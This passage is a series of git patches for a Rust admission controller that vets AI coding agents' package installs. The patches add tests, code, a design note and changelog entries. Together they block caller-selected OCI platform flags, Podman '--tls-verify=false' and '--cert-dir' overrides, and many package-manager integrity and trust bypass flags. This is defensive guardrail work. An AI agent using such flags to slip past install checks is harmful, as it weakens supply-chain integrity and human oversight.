integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Bun persistent trust-authority semantics, and current primary-source traceability. +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. - Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file From 831006629d5fc3530ca20038dae2388115f4e26b Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:13:42 +0900 Subject: [PATCH 136/702] test(security): reject caller-selected OCI platform variants --- .../tests/oci_platform_variant_contract.rs | 84 +++++++++++++++++++ 1 file changed, 84 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs new file mode 100644 index 00000000..132abe18 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -0,0 +1,84 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn caller_selected_platform_is_not_authorized_by_an_index_digest() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent + .argv + .insert(2, "--platform=linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "a caller-selected OCI platform must require separately approved artifact identity" + ); +} + +#[test] +fn exact_digest_pull_without_caller_selected_platform_remains_allowed() { + let (policy, intent) = approved_oci_pull("docker"); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec![executable.to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-oci-platform-variant".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![executable.to_string(), "pull".to_string(), artifact_argument], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 17ca3b913e9b10d4d20e22205ee5d616108daf1c Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:15:19 +0900 Subject: [PATCH 137/702] fix(security): fail closed on OCI platform selection --- .../src/artifact_variant.rs | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 crates/agent-artifact-admission/src/artifact_variant.rs diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs new file mode 100644 index 00000000..3f175a34 --- /dev/null +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -0,0 +1,21 @@ +use crate::InstallIntent; + +/// Return whether an OCI pull asks the client to select a platform variant that +/// is not represented by the approved artifact coordinate. +pub(crate) fn requests_unapproved_oci_platform(intent: &InstallIntent) -> bool { + let Some(executable) = intent.argv.first().map(String::as_str) else { + return false; + }; + if !matches!(executable, "docker" | "podman") { + return false; + } + + let arguments = &intent.argv[1..]; + if !arguments.first().is_some_and(|argument| argument == "pull") { + return false; + } + + arguments + .iter() + .any(|argument| argument == "--platform" || argument.starts_with("--platform=")) +} From b84a30cd105a966f259a8eea463e6cd7927a5867 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:15:41 +0900 Subject: [PATCH 138/702] fix(security): bind OCI platform choice to artifact policy --- crates/agent-artifact-admission/src/lib.rs | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/lib.rs b/crates/agent-artifact-admission/src/lib.rs index 0e92280c..02652f74 100644 --- a/crates/agent-artifact-admission/src/lib.rs +++ b/crates/agent-artifact-admission/src/lib.rs @@ -1,6 +1,7 @@ //! Fail-closed package-install admission primitives for AI coding agents. mod admission; +mod artifact_variant; mod audit; mod config; mod http; @@ -19,4 +20,19 @@ pub use config::{ parse_cli_args, validate_service_config, }; pub use http::{AdmissionState, ServiceError, build_app, run_cli, run_service}; -pub use policy::{admission_decision, is_sha256_hex, sha256_hex, validate_install_intent}; +pub use policy::{is_sha256_hex, sha256_hex, validate_install_intent}; + +/// Compute a deterministic fail-closed admission decision for one install intent. +pub fn admission_decision( + policy: &AdmissionPolicy, + intent: &InstallIntent, +) -> AdmissionDecision { + let mut decision = policy::admission_decision(policy, intent); + if artifact_variant::requests_unapproved_oci_platform(intent) { + if !decision.reason_codes.contains(&ReasonCode::ArtifactNotApproved) { + decision.reason_codes.push(ReasonCode::ArtifactNotApproved); + } + decision.decision = DecisionKind::Block; + } + decision +} From 890aba07f2b3e37a29337c1971f932bbd965e6b6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:16:03 +0900 Subject: [PATCH 139/702] test(architecture): keep artifact variant policy in domain --- .../agent-artifact-admission/tests/ddd_architecture_contract.rs | 1 + 1 file changed, 1 insertion(+) diff --git a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs index 7a568fc9..7781281c 100644 --- a/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs +++ b/crates/agent-artifact-admission/tests/ddd_architecture_contract.rs @@ -6,6 +6,7 @@ const DOMAIN_SOURCES: &[(&str, &str)] = &[ ("admission.rs", include_str!("../src/admission.rs")), + ("artifact_variant.rs", include_str!("../src/artifact_variant.rs")), ("policy.rs", include_str!("../src/policy.rs")), ]; From 8d3663d0b3f7396031212a38a411db1de80e1502 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:17:01 +0900 Subject: [PATCH 140/702] docs(security): trace OCI platform artifact identity boundary --- .../oci-platform-artifact-identity.md | 33 +++++++++++++++++++ 1 file changed, 33 insertions(+) create mode 100644 docs/doctoring/oci-platform-artifact-identity.md diff --git a/docs/doctoring/oci-platform-artifact-identity.md b/docs/doctoring/oci-platform-artifact-identity.md new file mode 100644 index 00000000..dea1c509 --- /dev/null +++ b/docs/doctoring/oci-platform-artifact-identity.md @@ -0,0 +1,33 @@ +# OCI platform selection and artifact identity + +Verified 2026-09-04. This note records the security reason Wardnet's Agent Artifact Admission boundary rejects caller-selected OCI pull platforms until platform-specific artifact identity is represented in a versioned policy contract. It does not claim OCI conformance or runtime image verification; the execution broker and quarantine runtime still verify the retrieved object and preserve request/evidence identity. + +## Problem + +The admission policy currently approves an OCI artifact by exact ecosystem, image name, version, registry, owner, SHA-256 digest, and submitted image reference. Docker and Podman clients can also accept a caller-selected platform for a pull. Docker documents `--platform` as selecting a platform when the server is multi-platform capable. The OCI Image Index specification defines an image index as a higher-level manifest that points to specific image manifests for one or more platforms. + +If Wardnet authorizes only the index-level artifact coordinate but lets untrusted argv add `--platform`, the caller has introduced an execution-relevant artifact variant that the policy did not review separately. The index digest remains content-addressed, but the selected platform-specific manifest and runtime bytes are not represented by the current `ArtifactCoordinate` contract. That is an authority gap, not merely a command-line convenience. + +## Decision + +Wardnet fails closed on caller-supplied `--platform` or `--platform=...` for `docker pull` and `podman pull`. The decision uses the existing `artifact_not_approved` reason because the requested artifact variant is outside the approved coordinate; no new public reason-code contract is introduced. + +The compatible control remains an exact digest pull with no caller-selected platform. A future released policy schema may model an approved OCI platform together with the platform-specific manifest digest or equivalent verified provenance. Until then, silently accepting platform selection would widen authority beyond the reviewed artifact identity. + +This is intentionally an admission-only control. Wardnet does not copy OCI resolution or hostile-execution logic from its canonical owners, and an admission `allow` remains insufficient proof that registry retrieval returned the expected executable bytes. + +## Executable evidence + +- RED `831006629d5fc3530ca20038dae2388115f4e26b`: `oci_platform_variant_contract.rs` proves an otherwise approved digest pull can currently append `--platform=linux/arm64` and escape the artifact-variant authority represented by policy. +- Causal source repair: `artifact_variant.rs` identifies the unrepresented OCI platform selector and the public admission composition maps it to `artifact_not_approved`/block while retaining the exact-digest no-platform control case. +- DDD fitness: `ddd_architecture_contract.rs` treats `artifact_variant.rs` as a domain source and keeps Axum, Tokio, filesystem, network, path, and adapter concerns out of the policy boundary. + +Exact current-head CI/security/coverage/review evidence remains mandatory; queued, absent, predecessor, or wrong-PR same-SHA results do not establish GREEN. + +## APA 7 references + +Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ + +Open Container Initiative. (2026). *OCI Image Index Specification*. https://github.com/opencontainers/image-spec/blob/main/image-index.md + +Open Container Initiative. (2026). *OCI Distribution Specification*. https://github.com/opencontainers/distribution-spec/blob/main/spec.md From 75f003e4c76182280011ca7ef63a952b7ab89b5a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 04:22:08 +0900 Subject: [PATCH 141/702] test(security): cover OCI platform guard branches --- .../tests/oci_platform_variant_contract.rs | 73 +++++++++++++++++++ 1 file changed, 73 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs index 132abe18..0dc11241 100644 --- a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -27,6 +27,63 @@ fn caller_selected_platform_is_not_authorized_by_an_index_digest() { ); } +#[test] +fn podman_platform_selection_is_bound_by_the_same_oci_policy() { + let (policy, mut intent) = approved_oci_pull("podman"); + intent + .argv + .insert(2, "--platform=linux/amd64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved") + ); +} + +#[test] +fn separated_platform_value_does_not_duplicate_artifact_reason() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv.insert(2, "--platform".to_string()); + intent.argv.insert(3, "linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert_eq!( + decision + .reason_codes + .iter() + .filter(|reason| reason.as_str() == "artifact_not_approved") + .count(), + 1, + "platform hardening must preserve deterministic reason-code de-duplication" + ); +} + +#[test] +fn non_pull_oci_command_remains_owned_by_the_existing_command_guard() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv[1] = "push".to_string(); + intent + .argv + .insert(2, "--platform=linux/arm64".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "forbidden_command") + ); +} + #[test] fn exact_digest_pull_without_caller_selected_platform_remains_allowed() { let (policy, intent) = approved_oci_pull("docker"); @@ -37,6 +94,22 @@ fn exact_digest_pull_without_caller_selected_platform_remains_allowed() { assert!(decision.reason_codes.is_empty()); } +#[test] +fn missing_executable_remains_fail_closed_without_panicking_variant_guard() { + let (policy, mut intent) = approved_oci_pull("docker"); + intent.argv.clear(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "missing_executable") + ); +} + fn approved_oci_pull(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); let artifact = ArtifactCoordinate { From e24f8eaca488ae610477967aad7c697433e3b199 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:08:41 +0900 Subject: [PATCH 142/702] test(security): reject Podman OCI selector aliases --- .../tests/oci_platform_variant_contract.rs | 23 +++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs index 0dc11241..60713388 100644 --- a/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_platform_variant_contract.rs @@ -45,6 +45,29 @@ fn podman_platform_selection_is_bound_by_the_same_oci_policy() { ); } +#[test] +fn podman_platform_selector_aliases_require_separately_approved_artifact_identity() { + for selector in ["--arch=arm64", "--os=linux", "--variant=v7"] { + let (policy, mut intent) = approved_oci_pull("podman"); + intent.argv.insert(2, selector.to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!( + decision.decision, + DecisionKind::Block, + "caller-selected Podman selector {selector} must not inherit approval from an index-level artifact coordinate" + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "Podman selector {selector} must remain in the artifact-identity reason domain" + ); + } +} + #[test] fn separated_platform_value_does_not_duplicate_artifact_reason() { let (policy, mut intent) = approved_oci_pull("docker"); From 950e1059dbdadc3e045259c7f987332f98ac9b2f Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:08:56 +0900 Subject: [PATCH 143/702] fix(security): bind Podman OCI selector aliases --- .../src/artifact_variant.rs | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/src/artifact_variant.rs b/crates/agent-artifact-admission/src/artifact_variant.rs index 3f175a34..a53bd790 100644 --- a/crates/agent-artifact-admission/src/artifact_variant.rs +++ b/crates/agent-artifact-admission/src/artifact_variant.rs @@ -15,7 +15,15 @@ pub(crate) fn requests_unapproved_oci_platform(intent: &InstallIntent) -> bool { return false; } - arguments - .iter() - .any(|argument| argument == "--platform" || argument.starts_with("--platform=")) + arguments.iter().any(|argument| { + argument == "--platform" + || argument.starts_with("--platform=") + || (executable == "podman" + && (argument == "--arch" + || argument.starts_with("--arch=") + || argument == "--os" + || argument.starts_with("--os=") + || argument == "--variant" + || argument.starts_with("--variant="))) + }) } From 09a2e50077cfa6871466751facbf779c2af3c096 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:09:34 +0900 Subject: [PATCH 144/702] docs(security): trace Podman OCI selector authority --- docs/doctoring/oci-platform-artifact-identity.md | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) diff --git a/docs/doctoring/oci-platform-artifact-identity.md b/docs/doctoring/oci-platform-artifact-identity.md index dea1c509..33573a3f 100644 --- a/docs/doctoring/oci-platform-artifact-identity.md +++ b/docs/doctoring/oci-platform-artifact-identity.md @@ -4,22 +4,24 @@ Verified 2026-09-04. This note records the security reason Wardnet's Agent Artif ## Problem -The admission policy currently approves an OCI artifact by exact ecosystem, image name, version, registry, owner, SHA-256 digest, and submitted image reference. Docker and Podman clients can also accept a caller-selected platform for a pull. Docker documents `--platform` as selecting a platform when the server is multi-platform capable. The OCI Image Index specification defines an image index as a higher-level manifest that points to specific image manifests for one or more platforms. +The admission policy currently approves an OCI artifact by exact ecosystem, image name, version, registry, owner, SHA-256 digest, and submitted image reference. Docker and Podman clients can also accept caller-selected platform selectors for a pull. Docker documents `--platform` as selecting a platform when the server is multi-platform capable. Podman's current `podman pull` contract independently exposes `--platform`, `--arch`, `--os`, and `--variant`; its documentation states that these options override the host platform attributes used to select the image. The OCI Image Index specification defines an image index as a higher-level manifest that points to specific image manifests for one or more platforms. -If Wardnet authorizes only the index-level artifact coordinate but lets untrusted argv add `--platform`, the caller has introduced an execution-relevant artifact variant that the policy did not review separately. The index digest remains content-addressed, but the selected platform-specific manifest and runtime bytes are not represented by the current `ArtifactCoordinate` contract. That is an authority gap, not merely a command-line convenience. +If Wardnet authorizes only the index-level artifact coordinate but lets untrusted argv add any of those selectors, the caller has introduced an execution-relevant artifact variant that the policy did not review separately. The index digest remains content-addressed, but the selected platform-specific manifest and runtime bytes are not represented by the current `ArtifactCoordinate` contract. That is an authority gap, not merely a command-line convenience. ## Decision -Wardnet fails closed on caller-supplied `--platform` or `--platform=...` for `docker pull` and `podman pull`. The decision uses the existing `artifact_not_approved` reason because the requested artifact variant is outside the approved coordinate; no new public reason-code contract is introduced. +Wardnet fails closed on caller-supplied `--platform` or `--platform=...` for `docker pull` and `podman pull`. For Podman, the equivalent `--arch`, `--os`, and `--variant` selector forms also fail closed. The decision uses the existing `artifact_not_approved` reason because the requested artifact variant is outside the approved coordinate; no new public reason-code contract is introduced. -The compatible control remains an exact digest pull with no caller-selected platform. A future released policy schema may model an approved OCI platform together with the platform-specific manifest digest or equivalent verified provenance. Until then, silently accepting platform selection would widen authority beyond the reviewed artifact identity. +The compatible control remains an exact digest pull with no caller-selected platform selector. A future released policy schema may model an approved OCI platform together with the platform-specific manifest digest or equivalent verified provenance. Until then, silently accepting platform selection would widen authority beyond the reviewed artifact identity. This is intentionally an admission-only control. Wardnet does not copy OCI resolution or hostile-execution logic from its canonical owners, and an admission `allow` remains insufficient proof that registry retrieval returned the expected executable bytes. ## Executable evidence -- RED `831006629d5fc3530ca20038dae2388115f4e26b`: `oci_platform_variant_contract.rs` proves an otherwise approved digest pull can currently append `--platform=linux/arm64` and escape the artifact-variant authority represented by policy. -- Causal source repair: `artifact_variant.rs` identifies the unrepresented OCI platform selector and the public admission composition maps it to `artifact_not_approved`/block while retaining the exact-digest no-platform control case. +- RED `831006629d5fc3530ca20038dae2388115f4e26b`: `oci_platform_variant_contract.rs` proves an otherwise approved digest pull can append `--platform=linux/arm64` and escape the artifact-variant authority represented by policy. +- Initial causal source repair: `artifact_variant.rs` identifies the unrepresented OCI `--platform` selector and the public admission composition maps it to `artifact_not_approved`/block while retaining the exact-digest no-platform control case. +- Alias RED `e24f8eaca488ae610477967aad7c697433e3b199`: the same contract proves Podman attached `--arch=`, `--os=`, and `--variant=` selectors would otherwise retain an `allow` decision despite selecting an unreviewed platform variant. +- Alias GREEN `950e1059dbdadc3e045259c7f987332f98ac9b2f`: the bounded domain predicate recognizes those Podman selector aliases without widening the public reason-code surface or affecting non-Podman command ownership. - DDD fitness: `ddd_architecture_contract.rs` treats `artifact_variant.rs` as a domain source and keeps Axum, Tokio, filesystem, network, path, and adapter concerns out of the policy boundary. Exact current-head CI/security/coverage/review evidence remains mandatory; queued, absent, predecessor, or wrong-PR same-SHA results do not establish GREEN. @@ -28,6 +30,8 @@ Exact current-head CI/security/coverage/review evidence remains mandatory; queue Docker, Inc. (2026). *docker image pull*. Docker Docs. https://docs.docker.com/reference/cli/docker/image/pull/ +Podman Project. (2026). *podman-pull — Pull an image from a registry*. Podman documentation. https://docs.podman.io/en/latest/markdown/podman-pull.1.html + Open Container Initiative. (2026). *OCI Image Index Specification*. https://github.com/opencontainers/image-spec/blob/main/image-index.md Open Container Initiative. (2026). *OCI Distribution Specification*. https://github.com/opencontainers/distribution-spec/blob/main/spec.md From 857da846ed32e633cc3dec6d744b14c2b01afe8a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:09:52 +0900 Subject: [PATCH 145/702] docs(changelog): record OCI selector alias hardening --- CHANGELOG.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a2412ad0..9b34359d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,10 +6,11 @@ - Added the independently deployable Agent Artifact Admission Controller for authenticated, loopback-only, fail-closed pre-execution package-install admission. Reviewed policy binds workspace manifests and exact artifact ecosystem/name/version/HTTPS registry/owner/SHA-256 evidence, structured argv, minimized append-before-response audit evidence, and deny-all defaults without taking over hostile-workload execution from the quarantine runtime. - Hardened package-manager command admission so approved artifacts cannot be reinterpreted by a different package-manager ecosystem or widened through alternate package sources, destinations, executable install hooks, parser boundaries, persistent trust mutation, integrity-verification disablement, or opaque runtime configuration: standalone `--` option terminators are rejected so required safety flags cannot move behind a downstream CLI parsing boundary; npm-family commands bind to npm artifacts, pip/uv pip to PyPI, Cargo to Cargo, and Docker/Podman to OCI; npm caller-selected `--userconfig`/`--globalconfig` files and `--ca`/`--cafile`/`--strict-ssl` TLS trust overrides, pip source/root short and long forms, uv index/environment selectors, Cargo registry/Git/path/config/root selectors, npm workspace controls, pnpm `--dir`/`-C` working-directory, filter/recursive/workspace-root selectors, `--config.=` runtime overrides, and pnpmfile hooks not suppressed by `--ignore-scripts`, Yarn Classic `-W`/`--ignore-workspace-root-check`, Bun `--cwd`/`--filter`/`-F` workspace selectors, caller-supplied `--config`, `--trust` persistent `trustedDependencies` expansion, and `--no-verify` registry-integrity bypass, and contradictory lifecycle-script Boolean flags fail closed with stable reason codes. Admitted pnpm installs now require both `--ignore-scripts` and `--ignore-pnpmfile`. +- Bound OCI pull approval to the reviewed artifact identity rather than caller-selected client variants: Docker/Podman `--platform` and Podman-equivalent `--arch`, `--os`, and `--variant` selectors fail closed as `artifact_not_approved` until a versioned policy schema can authorize the selected platform-specific manifest identity or equivalent provenance. - Removed the distributable Kubernetes administrator `Secret` and historical placeholder credential. Production deployments must provision `waf-ids-ai-soc-admin` / `ADMIN_TOKEN` through the external secret-management control plane; the workload's `secretKeyRef` is explicitly non-optional. - Added a structural regression contract that rejects shipped administrator Secret objects, placeholder credentials, decoy workloads, init-container false positives, and optional administrator Secret references. ### Operations -- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. -- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. \ No newline at end of file +- Documented Agent Artifact Admission deployment, incident response, immutable policy rollout, audit durability, external provenance authority, package-manager ecosystem binding, package-manager trust/destination/parser controls, OCI platform-variant authority, Bun persistent trust and integrity-verification semantics, and current primary-source traceability. +- Documented administrator credential provisioning, rotation, rollout verification, rollback, evidence handling, and the boundary with the separate runtime-authentication fail-closed work tracked in issue #78. From 186be292eea13a8cc97c10e09208a5360a2a5996 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:10:29 +0900 Subject: [PATCH 146/702] test(security): reject Podman registry TLS trust overrides --- .../tests/oci_transport_trust_contract.rs | 101 ++++++++++++++++++ 1 file changed, 101 insertions(+) create mode 100644 crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs new file mode 100644 index 00000000..187c5ae5 --- /dev/null +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -0,0 +1,101 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, +}; + +const DIGEST: &str = "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc"; +const MANIFEST_DIGEST: &str = + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; + +#[test] +fn podman_cannot_disable_registry_tls_verification() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert(2, "--tls-verify=false".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root"), + "caller-selected TLS verification disablement must not inherit registry trust from policy" + ); +} + +#[test] +fn podman_cannot_select_an_unreviewed_registry_certificate_directory() { + let (policy, mut intent) = approved_podman_pull(); + intent + .argv + .insert(2, "--cert-dir=/tmp/unreviewed-certs".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_trust_root") + ); +} + +#[test] +fn explicit_tls_verification_true_does_not_weaken_the_reviewed_registry_trust() { + let (policy, mut intent) = approved_podman_pull(); + intent.argv.insert(2, "--tls-verify=true".to_string()); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +fn approved_podman_pull() -> (AdmissionPolicy, InstallIntent) { + let artifact_argument = format!("{IMAGE_NAME}@sha256:{DIGEST}"); + let artifact = ArtifactCoordinate { + ecosystem: "oci".to_string(), + name: IMAGE_NAME.to_string(), + version: "1.2.3".to_string(), + registry_url: "https://ghcr.io".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: DIGEST.to_string(), + artifact_argument: artifact_argument.clone(), + }; + let policy = AdmissionPolicy { + policy_id: "oci-transport-production".to_string(), + policy_revision: "2026-09-04.1".to_string(), + allowed_executables: vec!["podman".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: MANIFEST_DIGEST.to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-oci-transport-trust".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec!["podman".to_string(), "pull".to_string(), artifact_argument], + manifest_sha256: MANIFEST_DIGEST.to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 7725ae8a8583f53c78c02df7296069dc4c270b37 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Fri, 4 Sep 2026 08:10:55 +0900 Subject: [PATCH 147/702] test(security): cover Podman TLS false spellings --- .../tests/oci_transport_trust_contract.rs | 30 ++++++++++++------- 1 file changed, 19 insertions(+), 11 deletions(-) diff --git a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs index 187c5ae5..ab13af33 100644 --- a/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs +++ b/crates/agent-artifact-admission/tests/oci_transport_trust_contract.rs @@ -10,19 +10,27 @@ const IMAGE_NAME: &str = "ghcr.io/contextualwisdomlab/wardnet-runtime"; #[test] fn podman_cannot_disable_registry_tls_verification() { - let (policy, mut intent) = approved_podman_pull(); - intent.argv.insert(2, "--tls-verify=false".to_string()); + for disabled in ["false", "FALSE", "f", "0"] { + let (policy, mut intent) = approved_podman_pull(); + intent + .argv + .insert(2, format!("--tls-verify={disabled}")); - let decision = 